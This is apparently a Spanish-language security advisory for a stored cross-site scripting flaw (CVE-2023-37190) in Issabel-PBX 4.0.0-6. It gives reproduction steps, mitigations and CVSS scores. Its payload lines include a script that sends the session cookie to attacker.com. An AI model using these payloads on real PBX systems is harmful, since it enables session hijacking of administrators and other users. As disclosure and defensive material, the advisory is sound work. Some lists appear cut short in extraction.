
Existe una vulnerabilidad de Cross-Site Scripting (XSS) almacenado en Issabel-PBX versión 4.0.0-6. La aplicación no sanea ni codifica adecuadamente la entrada proporcionada por el usuario antes de almacenarla en la base de datos y posteriormente renderizarla en la interfaz web.
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2023-37190 |
| Vulnerabilidad | Cross-Site Scripting (XSS) almacenado |
| Producto afectado | Issabel-PBX |
| Versión afectada | 4.0.0-6 |
| Severidad | Media (puntuación CVSS v3.1: 5.4) |
| Descubierto por | Sahil Ojha |
| Fecha de divulgación | 07 de julio de 2023 |
| Proveedor | Issabel |
| Código fuente | IssabelFoundation/issabelPBX |
| Probado en | Windows |
Existe una vulnerabilidad de Cross-Site Scripting (XSS) almacenado en Issabel-PBX versión 4.0.0-6. La aplicación no sanea ni codifica adecuadamente la entrada proporcionada por el usuario antes de almacenarla en la base de datos y posteriormente mostrarla en la interfaz web.
La vulnerabilidad está presente en el módulo Virtual Fax, específicamente en el formulario de creación "New Virtual Fax". Dos parámetros de entrada — Virtual Fax Name y Caller ID Name — no reciben una validación de entrada ni una codificación de salida adecuadas. Esto permite que un atacante autenticado con privilegios bajos inyecte y almacene permanentemente una carga útil de JavaScript malicioso dentro de la aplicación.
Una vez almacenada, el script malicioso se ejecuta automáticamente en el navegador de cualquier usuario (incluidos los administradores) que visite la página afectada, sin que el atacante requiera ninguna interacción adicional.
Un atacante que explote con éxito esta vulnerabilidad puede:
Debido a que la carga útil está almacenada (persistente), afecta a todos los usuarios que visitan la página vulnerable hasta que se elimina, lo que la hace más grave que un XSS reflejado.
Virtual Fax NameCaller ID NamePaso 1: Inicie sesión en la aplicación web de Issabel-PBX con credenciales válidas.
Paso 2: Navegue a Fax → Virtual Fax → New Virtual Fax.
Inyecte la siguiente carga útil XSS en los campos Virtual Fax Name y/o Caller ID Name:
<script>alert('XSS-CVE-2023-37190')</script>
Para una prueba de concepto más impactante que demuestre el robo de cookies de sesión (tenga en cuenta que en ataques reales se usa HTTPS para evitar exponer las cookies robadas en tránsito):
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
El formulario completado con la carga útil inyectada debería verse similar a la captura de pantalla siguiente:

Paso 3: Haga clic en el botón Save para enviar el formulario. La carga útil queda almacenada de forma persistente en la base de datos de la aplicación.
Paso 4: Navegue a la página de listado de Virtual Fax (o haga que otro usuario, como un administrador, visite la página). El script almacenado se ejecutará automáticamente en el navegador del visitante, como se muestra a continuación:

Se recomienda encarecidamente a los usuarios y administradores de Issabel-PBX que apliquen las siguientes medidas:
<, >, ", ', &).Content-Security-Policy estricta para limitar las fuentes desde las que se pueden ejecutar scripts, reduciendo el impacto de las vulnerabilidades XSS.Sahil Ojha
Investigador de seguridad
GitHub: @sahiloj
Aviso legal: Este repositorio está destinado únicamente a fines educativos y de divulgación responsable. La información aquí proporcionada no debe utilizarse para atacar sistemas sin el permiso explícito por escrito del propietario del sistema. El autor no es responsable del mal uso de esta información.
| Métrica | Valor |
|---|
| Puntuación base | 5.4 (Media) |
| Vector de ataque | Red |
| Complejidad del ataque | Baja |
| Privilegios requeridos | Bajos |
| Interacción del usuario | Requerida |
| Alcance | Cambiado |
| Confidencialidad | Baja |
| Integridad | Baja |
| Disponibilidad | Ninguna |